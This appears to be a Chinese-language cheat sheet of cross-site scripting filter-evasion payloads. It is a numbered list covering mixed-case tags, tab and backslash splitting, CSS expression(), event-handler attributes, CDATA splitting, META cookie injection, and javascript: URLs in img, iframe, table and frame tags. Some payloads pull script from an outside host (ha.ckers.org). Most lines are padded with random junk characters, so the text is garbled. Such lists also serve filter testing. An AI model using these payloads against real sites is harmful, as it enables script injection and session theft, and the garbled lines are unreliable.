1. 改变字符大小写
A7 ]6 F0 H* Y0 s8 L6 [# F
) m/ x( T9 w" L" n! ~ . `7 v$ b, D( @5 w3 p) D
8 E: k" u6 k1 [% I; [! Q& f
<sCript>alert(‘d’)</scRipT>$ T7 h) i" f4 D; y
' L6 v/ {* b. L( L( t
2. 利用多加一些其它字符来规避Regular Expression的检查+ x ~5 ^( }, G" ]& D
: x+ N) ]* C% \& M g: ^1 l <<script>alert(‘c’)//<</script>
; s; ]' N8 {: M$ v* D. B/ E4 i2 ?% X
3 s, U* c- O: {6 V <SCRIPT a=">" SRC="t.js"></SCRIPT>
2 r2 k, b" S9 a& P4 M+ G4 K0 o |9 |# c6 D, J6 u; j
<SCRIPT =">" SRC="t.js"></SCRIPT>. ?, n: T/ }, H# v. S1 a, x
6 ?7 B+ M. b* h <SCRIPT a=">" ” SRC="t.js"></SCRIPT>6 G3 D" a( t4 s8 G3 }1 l! g
- G6 @) \- V! w z) { <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
" z2 e; ] {& O( P! m8 a& j- R6 @9 N1 j3 W7 c( U
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
3 C9 x6 r2 R1 m4 E/ e1 p) e2 m" V; |+ H& M6 M
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
) H4 @2 F6 \) J" P4 h( }8 ]$ g9 v- ?/ V A9 \% Q1 o( `5 N( i
3. 以其它扩展名取代.js
$ s; K# B4 Y) {( Z! F) F
4 t" C- t4 H2 x; R& W <script src="bad.jpg"></script>1 M% T2 j# p, M& S% \; H
2 _2 S# o5 Y3 ?, z' ~4. 将Javascript写在CSS档里: v& w4 r9 z- c9 F
& Q) ~3 v; H- g) k6 `
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
9 S; H' J/ z8 @0 o1 s! X6 K4 T
example:
% N: s" |2 ?% }2 S9 l* b8 q! I+ @( s9 X. r Y/ |4 L. W4 V
body {- w3 W: [; u. m" w- P2 |1 ^
; Z; s" X! S( i/ ^/ ?
background-image: url(‘javascript:alert("XSS");’)% P1 Z0 |; e! V, C
. W- J' i4 Q% e: N5 C* K }9 {# w0 F) Q; N' F- J$ _
) Y: L$ u; j, ]' b, |* V2 E( d4 t5. 在script的tag里加入一些其它字符
\. o8 J$ k0 v6 }, C6 h. X3 O, V* ^4 G# a) y
<SCRIPT/SRC="t.js"></SCRIPT>
' u$ E: ~3 ~9 l7 V7 v$ |. P
: \6 D# i/ ^/ v$ c <SCRIPT/anyword SRC="t.js"></SCRIPT>; I2 x% D) s$ ]8 ^; i" {
% A; h3 D7 L+ A& g0 I6. 使用tab或是new line来规避
) I. a# Y% a1 X9 i2 K+ b* p+ n
3 A9 a5 M+ I5 Q6 G# B, |/ i7 T <img src="jav ascr ipt:alert(‘XSS3′)">
) s2 Q4 D/ _7 q2 \ _" |! u% B) ?) t* }6 a
<img src="jav ascr ipt:alert(‘XSS3′)">( g1 H; L r* t: M. ` A3 Q: j
5 M- \. }' @ H7 `; _; A c" @$ h <IMG SRC="jav ascript:alert(‘XSS’);">
8 q4 Q% r+ `0 W4 y
4 t$ v! S+ A# a) O6 u -> tag% }" ?0 ~# l/ t9 B7 f
) I- @5 j6 R, b3 h
-> new line6 {/ l* _+ s2 j4 y5 S5 y
! P2 z" k9 i! |( e+ X5 H8 a4 X7. 使用"\"来规避6 d! G; g% N ]4 U/ H9 H- D2 _
; X5 g/ \ m% o; O* R <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
, ^7 d' ~. H- y [2 _, ~; w% V, w8 E: V
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>& r0 _! }/ V" N
' \3 f* G. f) L, ? a y <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
0 J) G+ P t: ~. v# Q' O
# f. j1 U4 Q. q5 T# p* J4 X <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 V3 a' V2 m$ s8 [! L2 ~
7 a, S% P! v$ V, k: q F <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
4 T4 X6 d: _6 h4 ]+ ^5 N/ {" E" Z# M# P
8. 使用Hex encode来规避(也可能会把";"拿掉)
" }8 D* d/ Z6 K6 ]8 m( a, n4 b6 V, o. Q
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
7 K: a' u- u. U8 y d2 y
5 v; T+ [3 ?+ a6 ~* F 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: b9 l) C6 u/ K4 \3 _: o2 k1 `2 S
% @- \, K e) Z4 U0 n2 ? <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">0 u% Y, n" H0 E" }0 Q+ s
7 A4 \( }3 ~+ E/ j) Z$ i9 U
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
7 v$ P3 H4 p" b7 ?# j; w
: ]0 ?* x8 `# P8 E9 A9. script in HTML tag
* G% H$ ]6 d5 P$ v# r3 n+ g7 b' b" ]$ F S' C* Y; n- t; }$ L
<body onload=」alert(‘onload’)」>
# Q7 A& J8 @, Q/ Z1 E1 V+ M' u' a: A0 y% Y
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload* r& e4 M! P5 t, v3 Z
. ~ Z( U3 j9 ~" C/ i/ E
10. 在swf里含有xss的code
- j1 @6 {* L4 ?7 L3 u" u/ _, m6 l+ C! ` B) d4 f
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>6 [, Z. w0 K) Q/ W" S
8 V2 g4 l$ g' q
11. 利用CDATA将xss的code拆开,再组合起来。; A3 f, q6 i6 q5 c) B
4 G! u0 b: ~+ [; W4 V <XML ID=I><X><C>6 N/ M4 N1 v/ |# O' }' Y
, B6 c# [: K3 |8 |: a6 I <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>' o1 B& u. ]" M3 ]$ U' s% f5 l
* J5 S6 |/ `' J+ ]/ N </C></X>
& e* v" C+ a4 N) x. A8 w
, S7 ?, r8 a; M </xml>) y* l& j( E) C/ L. x
2 v0 a" r# c( h$ }5 n0 m2 Y0 P: H$ I' Q
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>, \" Y- F4 u- P3 ~+ X/ ^
! q$ R: V' z* I$ R6 x& E P% D <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
: ?6 N$ }/ B6 d- c2 j! g/ |. ]9 F- S7 W
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
& q* Z6 L0 w. {, e, O! Z( e( y2 j8 [) {) f* O
12. 利用HTML+TIME。1 r- G7 ?4 e3 m# M; l% b
, N! J4 X4 K) }
<HTML><BODY>2 v. u- C+ `' m' b1 A; E
" c4 b3 I) P+ R4 E
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">( l$ {8 n- E* k! R* v( i& a4 U2 O- p4 ?
% q, E+ C$ M9 a: l+ n6 a2 a
<?import namespace="t" implementation="#default#time2">+ a# p4 }6 G; [' M
, s/ H1 ]5 B ~; h <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">& b. Y, s e6 I
/ J& {% m3 L% I0 v </BODY></HTML>
% F) A3 y% ^) A9 }8 ]6 P5 @* H- w }& q/ X# L
13. 透过META写入Cookie。
1 H& _" N+ z7 Y$ n6 X' y/ N* p$ f1 F _" j ?. J' o% W
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
[ I$ J2 O$ O, |/ O% H$ a$ F9 Z& L1 c9 S
14. javascript in src , href , url
, T9 I8 p8 k* V- ^; y% X& Y/ v. t2 {5 q4 f0 |5 r( Y
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
) F! l/ k9 J4 D; \. t9 b2 {& q, p' E# q
<img src="javascript:alert(‘XSS3′)">! C) d& M3 f6 T/ W3 K
+ c- j( n; j1 i7 r. {: m- D<IMG DYNSRC="javascript:alert(‘XSS20′)">
; a% v/ a. w/ S/ C
: \1 ]+ h( V2 j1 B! T <IMG LOWSRC="javascript:alert(‘XSS21′)">- [, Y, \1 v% e+ c7 }' B3 q0 k' L
2 ^0 h( g6 I. S) t
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">) j+ K; e. I. M, ]5 X2 K
5 B, t* W; C% `# W- g <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
; y; w& r% N4 @8 ^5 R w% E
: c7 ~8 ?) D8 w4 E" k <TABLE BACKGROUND="javascript:alert(‘XSS29′)">3 H5 E* n5 Q7 T1 @2 x9 W. _! C
/ c+ o0 p' Y) v6 T$ G
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
7 `3 |+ ? f) Q C3 C0 S, v
4 o! b& E' D- K: o7 N" J9 w5 k) K* _ <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
! V9 J$ Q8 H3 P' Y# e/ X. G! @" j) w# n
</STYLE><A CLASS=XSS></A>4 b/ B+ T6 {- r& R j0 B4 ?. V
- B6 s8 u; n' u' {5 @% M1 [
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>4 l8 h3 v6 j! Q
+ }/ a }0 w. J8 E |